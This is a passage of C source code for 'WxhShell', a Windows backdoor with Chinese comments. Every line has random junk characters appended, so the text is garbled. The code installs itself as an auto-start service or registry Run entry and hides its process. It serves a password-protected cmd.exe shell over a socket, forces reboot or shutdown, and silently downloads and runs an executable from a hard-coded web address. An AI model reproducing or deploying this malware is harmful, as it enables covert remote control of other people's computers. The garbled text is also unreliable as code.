    if(Boot(SHUTDOWN)) ={xqNRVd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '5cZzC 2  
    else { feg`(R2  
    closesocket(wsh); dp< au A  
    ExitThread(0); | /#'S&!U  
    } ;q&Z9 lm  
    break; [EOMCH2Ki  
    } G,/Gq+WX  
  // 获取shell eu=|t&FKk  
  case 's': { q"p#H8  
    CmdShell(wsh); !pV<n  
    closesocket(wsh); K*[0dza$  
    ExitThread(0); 9T]va]w?#  
    break; "DzG Bu\  
  } *e,CDV  
  // 退出 ujNt(7Cz  
  case 'x': { vF+YgQ1H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t*rp3BIG  
    CloseIt(wsh); EUXV/QV{  
    break; iGyVG41U  
    } 4Q/r[x/&C  
  // 离开 z}mvX .j7  
  case 'q': { ?P YNE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V!}L<cN  
    closesocket(wsh); yx 7loy$[  
    WSACleanup(); ;HT0w_,  
    exit(1); F94V5_[  
    break; L<"k 7)k  
        } =yo=q)W  
  } n=r= u'oi  
  }  TVj1C  
gBfX}EK7F  
  // 提示信息 }P16Xb)p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); % M+s{ l  
} pV_}Or_  
  } r8<JX5zyuo  
7ia "u+Y  
  return; ]P JH'=  
} I_K[!4~Kn  
fyGCfM  
// shell模块句柄 *;Ak5.du  
int CmdShell(SOCKET sock) }1@n(#|c  
{ [6tR&D #K  
STARTUPINFO si; G@;Nz i89  
ZeroMemory(&si,sizeof(si)); Sq.9-h%5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *j/ uihY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0U9+  
PROCESS_INFORMATION ProcessInfo; ?TRW"%  
char cmdline[]="cmd"; AK %=DVkM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1k0^6gE|  
  return 0; y}Ck zD  
} i:\bqK  
6_pDe  
// 自身启动模式 +|)zwe  
int StartFromService(void) Z<w,UvJa  
{ >_n:_  
typedef struct 4b]IazL)  
{ @ 8A{ 9i  
  DWORD ExitStatus; wYC9 ~ms-  
  DWORD PebBaseAddress; g2!0vB>  
  DWORD AffinityMask; u_h=nk  
  DWORD BasePriority; #^"hqNwA  
  ULONG UniqueProcessId; (}VuiNY<3  
  ULONG InheritedFromUniqueProcessId; U[blq M  
}   PROCESS_BASIC_INFORMATION; cF-Jc}h  
+'!h-x1y~  
PROCNTQSIP NtQueryInformationProcess; :17ee  
p<<6}3~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R>^5$[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UeFtzty,a  
+k# mvPq  
  HANDLE             hProcess; k0gJ('zah  
  PROCESS_BASIC_INFORMATION pbi; Vj#%B.#Zbf  
&8R-C[A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (*LTq C  
  if(NULL == hInst ) return 0; (D:KqGqoT  
tzx:*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Rs`Vr_?Hk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &3!i@2d;3f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wn&[1gBxM  
hnH)Jy;>  
  if (!NtQueryInformationProcess) return 0; Ky =(urAd  
 pb,{$A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4Sd+"3M  
  if(!hProcess) return 0; 1Kp?bwh"u  
l#mqV@?A~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NdaVT5RB  
_:oMyK'  
  CloseHandle(hProcess); cL-6M^!a  
M80}3mgP~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _Y}^%eFw  
if(hProcess==NULL) return 0; ?z*W8b]'  
}])G Q@  
HMODULE hMod; c80"8r  
char procName[255]; *fOS"-C L  
unsigned long cbNeeded; bEOOFs  
o{s4.LKK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S(q4OQ B{  
e7)>U!9c9  
  CloseHandle(hProcess); z:@d@\$?  
+]aD^N9['  
if(strstr(procName,"services")) return 1; // 以服务启动 w*]_FqE  
@]}Qh;a~  
  return 0; // 注册表启动 3hp tP  
} P}w^9=;S  
!XG/,)A  
// 主模块 { &6l\|  
int StartWxhshell(LPSTR lpCmdLine) [346w <  
{ Th I  
  SOCKET wsl; $D0)j(v  
BOOL val=TRUE; 0B#rqTEKu  
  int port=0;  mP`,I"u  
  struct sockaddr_in door; #t5JUi%in*  
>d1aE)?  
  if(wscfg.ws_autoins) Install(); 55u^u F  
&q"uy:Rd  
port=atoi(lpCmdLine); 5d!z<{`  
v= 8~ZDY  
if(port<=0) port=wscfg.ws_port; x<)!$cg  
?CL z@u~  
  WSADATA data; _&8KB1~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  )^QG-IM  
F ~11 _  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TLR Lng  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ul]m>W  
  door.sin_family = AF_INET; $)WH^Ir~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r&LCoe'\{i  
  door.sin_port = htons(port); $P1d#;rb%  
*(_ON$+3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -h.3M0  
closesocket(wsl); t 's5~  
return 1; /eI,]CB'z  
} ]J0Y^dM  
^O,6(@>  
  if(listen(wsl,2) == INVALID_SOCKET) { xq#]n^  
closesocket(wsl); ) 2*|WHO  
return 1; 0(.R?1*:Rf  
} 42H#n]Y  
  Wxhshell(wsl); -qr:c9\px  
  WSACleanup(); 'p{Y{ $Q  
E!oJ0*@  
return 0; C$EFh4  
QjT#GvHY  
} Xl '\krz  
iI/'! 85  
// 以NT服务方式启动 0[3tW[j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `04Y ;@w  
{ $4fjSSB~  
DWORD   status = 0; $;g%S0:3)  
  DWORD   specificError = 0xfffffff; q0xE&[C[M  
Luu-c<*M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aO;Q%]VL'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lj%;d'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [s& y_[S  
  serviceStatus.dwWin32ExitCode     = 0; \&|w;  
  serviceStatus.dwServiceSpecificExitCode = 0; vb4G_X0S  
  serviceStatus.dwCheckPoint       = 0; q@=#`746e  
  serviceStatus.dwWaitHint       = 0; 4<!}4   
yO69p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Zzzi\5&gU  
  if (hServiceStatusHandle==0) return; iJ~iJ'vf  
|cBF-KNZ  
status = GetLastError(); ;/]c^y  
  if (status!=NO_ERROR) u9[w~U#  
{ |Z +E(F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \H'CFAuF  
    serviceStatus.dwCheckPoint       = 0; ::h02,y;1%  
    serviceStatus.dwWaitHint       = 0; =,1zl}PR  
    serviceStatus.dwWin32ExitCode     = status; }j5@\c48  
    serviceStatus.dwServiceSpecificExitCode = specificError; I(r5\A=   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~(L<uFU V  
    return; F b`7 aFIf  
  } :/?R9JVI  
{  /Q?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ob()+p.kK  
  serviceStatus.dwCheckPoint       = 0; OAQ O J'  
  serviceStatus.dwWaitHint       = 0; N"Nd$4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aABE= 9Y  
} we@En .>f  
(Su2 \x  
// 处理NT服务事件,比如:启动、停止 ?&t|?@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M<me\s)  
{ 0.,&B5)  
switch(fdwControl) M}RFFg  
{ kv FOk  
case SERVICE_CONTROL_STOP: #._6lESK  
  serviceStatus.dwWin32ExitCode = 0; ]k%KTvX*G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pJ@DHj2@  
  serviceStatus.dwCheckPoint   = 0; ?. 'oxW  
  serviceStatus.dwWaitHint     = 0; rD)v%vvr&`  
  { ' c\TMb.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x'PjP1  
  } "7u"d4h-:(  
  return; H@bmLq  
case SERVICE_CONTROL_PAUSE: TuhL :  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n"VE!`B  
  break; ;@UX7NA  
case SERVICE_CONTROL_CONTINUE: _-2n3py  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _|V+["IS  
  break; V,%5 hl'&  
case SERVICE_CONTROL_INTERROGATE: < EE+ S#z  
  break; 4%.2 =  
}; yeh adm\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k*+ZLrT  
} oXOO 10  
`x^,k% :4  
// 标准应用程序主函数 6xQe!d3>s3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fP4IOlHkE  
{ a5g{.:NfO  
$@!&ML  
// 获取操作系统版本 ?^A:~"~  
OsIsNt=GetOsVer(); ,lGwW8$R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :a<TV9?H0  
%>}7 $Y%  
  // 从命令行安装 Z["nY&.sI  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~5?n&pF  
D&lXi~Z%.  
  // 下载执行文件 -D':7!@  
if(wscfg.ws_downexe) { lfG&V +S1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wtick~)  
  WinExec(wscfg.ws_filenam,SW_HIDE); [~%;E[ky$  
} ,oVBgCf  
?;QKe0I^  
if(!OsIsNt) { =1B&d[3;  
// 如果时win9x,隐藏进程并且设置为注册表启动 E MbI\=>yS  
HideProc(); ~2qG" 1[\  
StartWxhshell(lpCmdLine); /hy!8c7  
} Xg)FIaw]eT  
else w9h5f  
  if(StartFromService()) w)c#ZJHG  
  // 以服务方式启动 K>~cY%3^i  
  StartServiceCtrlDispatcher(DispatchTable); hA19:H=7R0  
else bWzc=03  
  // 普通方式启动 S6:gow(wU  
  StartWxhshell(lpCmdLine); 1;9E*=  
uy%PTi+A  
return 0; s+t eYL#Zi  
} F4l6PGxF&\  
QU;C*}0Zl  
K&oO+G^f  
K%@SS8!oy  
=========================================== f3&//h8  
.-*nD8b  
^]K)V  
zL{@LHP  
g5'bUYsa  
yc}t(*A5  
" \0& (q%c  
?Qp_4<(5  
#include <stdio.h> J(*"S!q)6  
#include <string.h> jpS#'h  
#include <windows.h> VrP%4P+  
#include <winsock2.h> oW9rl]+  
#include <winsvc.h> gVWLY;c 3}  
#include <urlmon.h> C#cEMKa  
,6)y4=8 L  
#pragma comment (lib, "Ws2_32.lib") cjpl_}'L:  
#pragma comment (lib, "urlmon.lib") spDRQ_qq  
!ry+ r!"  
#define MAX_USER   100 // 最大客户端连接数 b%$C!Tq'  
#define BUF_SOCK   200 // sock buffer |"*:ZSj  
#define KEY_BUFF   255 // 输入 buffer No+zw%l0E  
$h f\ #'J  
#define REBOOT     0   // 重启 Nd)o1 {I  
#define SHUTDOWN   1   // 关机 ?*dx=UI  
ps J 1J  
#define DEF_PORT   5000 // 监听端口 =ZL2 0<TeH  
XV!EjD~q  
#define REG_LEN     16   // 注册表键长度 j<5R$^?U  
#define SVC_LEN     80   // NT服务名长度 $dUN+9  
$5 [RR  
// 从dll定义API \OB3gnR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6g&nnA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \Ki#"%S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [K QZHIe  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T!E LH!  
S-dV  
// wxhshell配置信息 rrq-so1u}  
struct WSCFG { 'D{abm0  
  int ws_port;         // 监听端口 k}gs;|_  
  char ws_passstr[REG_LEN]; // 口令 7 4UE-H)  
  int ws_autoins;       // 安装标记, 1=yes 0=no XcneH jpR  
  char ws_regname[REG_LEN]; // 注册表键名 $*ZHk0 7x  
  char ws_svcname[REG_LEN]; // 服务名 Re>e|$.T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }_TdXY #w\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u' ][3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .;s4T?j@w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ak&v/%N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hR{Zh>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EpMEA1=&  
~;` #{$/C&  
}; 6dlPS{H#U  
1j(,VW  
// default Wxhshell configuration =jh:0Q<43+  
struct WSCFG wscfg={DEF_PORT, upKrr  
    "xuhuanlingzhe", #nz$RJsX  
    1, 3~'F^=T.Y  
    "Wxhshell", RT9@&5>il  
    "Wxhshell", ^)I:82"|?  
            "WxhShell Service", d_hcv|%  
    "Wrsky Windows CmdShell Service", Aed"J5[a  
    "Please Input Your Password: ", {F[Xe_=#"  
  1, *4E,| IJ  
  "http://www.wrsky.com/wxhshell.exe", vA`.8U 0S  
  "Wxhshell.exe" \x}UjHYIc&  
    }; 9x\G(w  
@TDcj~oR ?  
// 消息定义模块 FT=>haN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3dLz=.=)'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v8[1E>&vx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $%'z/'o!  
char *msg_ws_ext="\n\rExit."; r G6/h'!|  
char *msg_ws_end="\n\rQuit."; 03T.Owd  
char *msg_ws_boot="\n\rReboot..."; $Tza<nA  
char *msg_ws_poff="\n\rShutdown..."; sjGZ ,?%  
char *msg_ws_down="\n\rSave to "; 7\ lb+^$  
HVp aVM  
char *msg_ws_err="\n\rErr!"; 6h%(0=^  
char *msg_ws_ok="\n\rOK!"; CTYkjeej  
Wi<Fkzj  
char ExeFile[MAX_PATH]; 9OBPFF  
int nUser = 0; &rubA  
HANDLE handles[MAX_USER]; &9>d  
int OsIsNt; :z7!X.*  
V"XN(Fd^  
SERVICE_STATUS       serviceStatus; ,8 seoX^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D?R  z|  
cCIEG e6  
// 函数声明 mLO6`]p{H  
int Install(void); )ej8vm  
int Uninstall(void); `1gsrHi4N  
int DownloadFile(char *sURL, SOCKET wsh); lVHJ}(<'p  
int Boot(int flag); WP9=@X Z  
void HideProc(void); :C5N(x  
int GetOsVer(void); 7_,X9^z  
int Wxhshell(SOCKET wsl); crQuoOl7  
void TalkWithClient(void *cs); eNX-2S  
int CmdShell(SOCKET sock); 2NM} u\%c/  
int StartFromService(void); ;a"Ukh  
int StartWxhshell(LPSTR lpCmdLine); YQOGxSi  
h?sh#j6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v.MWO]L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4m:E:zVn  
vbp)/I-h  
// 数据结构和表定义 )C[8#Q-:  
SERVICE_TABLE_ENTRY DispatchTable[] = ]Az >W*Y  
{ QG.FW;/L,  
{wscfg.ws_svcname, NTServiceMain}, v*pVcBY>  
{NULL, NULL} 9viC3bj.o  
}; "rtmDNpL  
5h&8!!$[  
// 自我安装 Z)<>d.  
int Install(void)  <_~`)t  
{ cl:YN]BK  
  char svExeFile[MAX_PATH]; &x3y.}1  
  HKEY key; x8[8z^BV?e  
  strcpy(svExeFile,ExeFile); lq~n*uwO}t  
gd*\,P  
// 如果是win9x系统,修改注册表设为自启动 !TcjB;q'  
if(!OsIsNt) { "F&uk~ b$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 827N?pU$)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o,L!F`W  
  RegCloseKey(key); WW.=>]7;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2rk_ ssvs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z3,z&Ra  
  RegCloseKey(key); %PpB$  
  return 0; E+gUzz5  
    } qluyJpt  
  } @({65gJ*  
} 1<*-, f  
else { " 1 Bn/Q  
[M.Vu  
// 如果是NT以上系统,安装为系统服务 > 01k u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I/adzLQ  
if (schSCManager!=0) J GdVSjNC  
{ d 9|u~3  
  SC_HANDLE schService = CreateService Lqt]  
  ( R!O'DM+  
  schSCManager, d;z`xy(C  
  wscfg.ws_svcname, a)]N#gx  
  wscfg.ws_svcdisp, XX =A1#H  
  SERVICE_ALL_ACCESS, |<E%hf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TUT>*  
  SERVICE_AUTO_START, {pqm&PB04  
  SERVICE_ERROR_NORMAL, 8r5j~Df  
  svExeFile, WE3l*7<@  
  NULL, <H.Ml>q:r  
  NULL, Z1&8 U=pax  
  NULL, s<myZ T$  
  NULL, M:A7=rO~  
  NULL 8p5u1 ;2  
  ); <B)lV'!Bd  
  if (schService!=0) QS[%`-dR2  
  { n%Fa;!S  
  CloseServiceHandle(schService); \(Iy>L.  
  CloseServiceHandle(schSCManager); Ut<_D8Tzx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3KGDS9I  
  strcat(svExeFile,wscfg.ws_svcname); _\[Zr.y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3Cpix,Dc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .gB#g{5+J  
  RegCloseKey(key); ?D#Vha  
  return 0; ']V 2V)t  
    }  h /on  
  } fQ<V_loP.@  
  CloseServiceHandle(schSCManager); [bAv|;  
} qYE-z( i  
} (t <Um Vd  
PpbW+}aCF  
return 1; DpA)Z ??  
}  #/n\C  
|XQ!xFB  
// 自我卸载 9 eP @}C6  
int Uninstall(void) +s`n]1HC  
{ JI.ad_IR  
  HKEY key; rVkHo*Q  
kWWb<WRW:  
if(!OsIsNt) { UXd\Q''  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pJ{sBp_$  
  RegDeleteValue(key,wscfg.ws_regname); .; :[sv)  
  RegCloseKey(key); )%*uMuF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IE3GM^7\  
  RegDeleteValue(key,wscfg.ws_regname); ^CX~>j\(  
  RegCloseKey(key); ) yjHABGJ  
  return 0; &AW?!rH  
  } $v+g3+7  
} X/?3ifP6I  
} 3o6N&bQ b  
else { Qq5)|m  
^K3{6}]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q?vGg{>  
if (schSCManager!=0) *'Ch(c:rtH  
{ 7-)Y\D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x;ujR<  
  if (schService!=0) mWtwp-  
  { yHCBf)N7\  
  if(DeleteService(schService)!=0) { /7*u!CNm  
  CloseServiceHandle(schService); hF6EOCY6D  
  CloseServiceHandle(schSCManager); )4j#gHN\  
  return 0; T1Xm^{  
  } k)4   
  CloseServiceHandle(schService); Q+S>nL!*#1  
  } )5B90[M|t  
  CloseServiceHandle(schSCManager); ) ~X\W\  
} 4rv3D@E  
} FX\ -Y$K  
m@OgT<E]_  
return 1; o#G7gzw)  
} .x}ImI  
Dk:Zeo]+my  
// 从指定url下载文件 F`'e/  
int DownloadFile(char *sURL, SOCKET wsh) 6zyozJA  
{ I9_tD@s"(  
  HRESULT hr; dw'%1g.113  
char seps[]= "/"; e KET8v[  
char *token; 0?k/vV4  
char *file; k0%4&pU  
char myURL[MAX_PATH]; ky,+xq  
char myFILE[MAX_PATH]; }nu hLt1  
\07 s'W U  
strcpy(myURL,sURL); P*G&pitT  
  token=strtok(myURL,seps); k pEES{f  
  while(token!=NULL) $BCqz! 4K  
  { Si!W@Jm  
    file=token; koe&7\ _@  
  token=strtok(NULL,seps); \3x,)~m  
  } RoP z?,u  
6Vi #O^>  
GetCurrentDirectory(MAX_PATH,myFILE); 9;kWuP>k4u  
strcat(myFILE, "\\"); 'R= r9_%  
strcat(myFILE, file); (eHvp  
  send(wsh,myFILE,strlen(myFILE),0); <Cm:4)~  
send(wsh,"...",3,0); )t0t*xu#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IeE+h-3p  
  if(hr==S_OK) eo"6 \3z  
return 0; 0/;T\9  
else .hnGHX  
return 1; "h\{PoG  
JQ!D8Ut  
} [K,&s8N5  
6dV92:  
// 系统电源模块 Wk`G+VR+  
int Boot(int flag) Q']:k}y  
{ e%#9|/uP  
  HANDLE hToken; Bm1yBKjO  
  TOKEN_PRIVILEGES tkp; J=5G<  
5{VrzzOK}  
  if(OsIsNt) { 9_oIAn:<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x-Yt@}6mvl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @:X~^K.  
    tkp.PrivilegeCount = 1; U_Id6J]8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :43K)O"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WnU"&XZ  
if(flag==REBOOT) { 76(&O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) > PfYHO  
  return 0; OP{ d(~+  
} -&y{8<bu4H  
else { Xfk&{zO-j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gtJUQu p2  
  return 0; }>fL{};Z"  
} 4, 8gf2  
  } ,@8>=rT  
  else { %#Fd0L  
if(flag==REBOOT) { t :sKvJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0 ; M+8  
  return 0; !Tr +:SM  
} ' w!o!_T6  
else { UeX3cD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kL{2az3"c  
  return 0; D\bW' k]!  
} i` n,{{x&4  
} x4Y+?2  
GjfY   
return 1; ?&j[Rj0pH  
} l0 r Zril  
{eMu"<  
// win9x进程隐藏模块 ma?$@ ]`k  
void HideProc(void) r. =_=V/t  
{ }2-{4JIq}  
2>_6b>9]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V.>'\b/#  
  if ( hKernel != NULL ) mN!>BqvN  
  { ;XRLp:y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |U>BXX P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =AUR]&_B  
    FreeLibrary(hKernel); &S]\)&Yt  
  } 1ki##v[ W8  
: DCj2"  
return; o'?Y0Wt  
} 7_?:R2]n  
HFB2ep7N  
// 获取操作系统版本  ZOi8)Y~  
int GetOsVer(void) D9 OS,U/l  
{ H_3S#.  
  OSVERSIONINFO winfo; [j`It4^nC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <U (gjX  
  GetVersionEx(&winfo); AM#VRRTU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h)~KD%  
  return 1; Yy@;U]R  
  else #db8ur3?  
  return 0; @q}.BcSg  
} |.0/~Xy-  
2X&~!%-  
// 客户端句柄模块 Ky[/7S5E  
int Wxhshell(SOCKET wsl) -yy&q9  
{ A\ CtM`  
  SOCKET wsh; g>CF|Wj  
  struct sockaddr_in client; i-vhX4:bd  
  DWORD myID; TwqyQ49  
|)B&-~a+p  
  while(nUser<MAX_USER) @{:E&K1f  
{ kS%FV;9>(  
  int nSize=sizeof(client); 6Y>MW 4q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &&\ h%-Jc  
  if(wsh==INVALID_SOCKET) return 1; tz4MT_f  
Vr D?[&2pE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hHm &u^xY  
if(handles[nUser]==0) {Nuwz|Ci  
  closesocket(wsh); By]XD~gcP  
else kOmTji7  
  nUser++; U@@#f;&  
  } Nq/,41  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NIY0f@1z-  
>2_BL5<S  
  return 0; |<96H8  
} U}x2,`PI  
Ia=wf"JS)  
// 关闭 socket S#8wnHq  
void CloseIt(SOCKET wsh) {OL*E0  
{ u-=S_e  
closesocket(wsh); >k,bHGj?  
nUser--; d+[yW7%J  
ExitThread(0); ;cH|9m:Y  
} W/<]mm~95  
m"t\@f  
// 客户端请求句柄 ^/47 *vcN5  
void TalkWithClient(void *cs) Ek~Qp9B  
{ >_!pg<{,  
>pW8K[  
  SOCKET wsh=(SOCKET)cs; Am'5|  
  char pwd[SVC_LEN]; 5)+(McJC  
  char cmd[KEY_BUFF]; AyB-+oTf(  
char chr[1];  oJ ~ZzW  
int i,j; Qr Dzf e[  
#o SQWC=T  
  while (nUser < MAX_USER) { W$O^IC  
|\TOSaZ  
if(wscfg.ws_passstr) { 5"u-oE&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bg[k8*.:F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'Cd8l#z7  
  //ZeroMemory(pwd,KEY_BUFF); IAf,TKfe  
      i=0; -==@7*x!Z  
  while(i<SVC_LEN) { \$}xt`6p  
Oh9wBV  
  // 设置超时 V@&zn8?  
  fd_set FdRead; X aW@CW  
  struct timeval TimeOut; ~O;!y%  
  FD_ZERO(&FdRead); ;{ u{F L  
  FD_SET(wsh,&FdRead); QU|{(c  
  TimeOut.tv_sec=8; FY)vrM*yh  
  TimeOut.tv_usec=0; w|pk1~c(_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1_%jDMYH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .;ml[DXH  
<mjH#aSy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gQ3Co./  
  pwd=chr[0]; )tl=tH/$  
  if(chr[0]==0xd || chr[0]==0xa) { :0$(umW@I"  
  pwd=0; yw^t6E  
  break; mf=,6fx28  
  } m3 C&QdjRp  
  i++; JryDbGc8  
    } ](a*R  
<?kr"[cQeP  
  // 如果是非法用户,关闭 socket A8&yB;T$y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -sm{Hpf_b  
} K++pH~o  
4Z)`kS} =]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $6}siU7s4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8+{WH/}y8  
}`&#{>]2  
while(1) { U>7"BpC  
hSSF]  
  ZeroMemory(cmd,KEY_BUFF); qUA&XUJ  
VJJGTkm  
      // 自动支持客户端 telnet标准    *>j u1f  
  j=0; xRpL\4cs  
  while(j<KEY_BUFF) { 'uBXSP#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 767xCP  
  cmd[j]=chr[0]; z)xGZ*{=  
  if(chr[0]==0xa || chr[0]==0xd) { H$au02dpU  
  cmd[j]=0; ks< gSCB  
  break; b)J(0,9`G"  
  } kD dY i7g>  
  j++; 1,=U^W.G  
    } 7D\#1h  
Rcs7 'q5  
  // 下载文件 m663%b(5>  
  if(strstr(cmd,"http://")) { u`dWU}m)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y K)7%j!  
  if(DownloadFile(cmd,wsh)) pj;cL ]L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7GY[l3arxv  
  else v^2K=f[nE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GQhzQM1HS  
  } L3lf28W  
  else { jCqs^`-  
_;3xG0+  
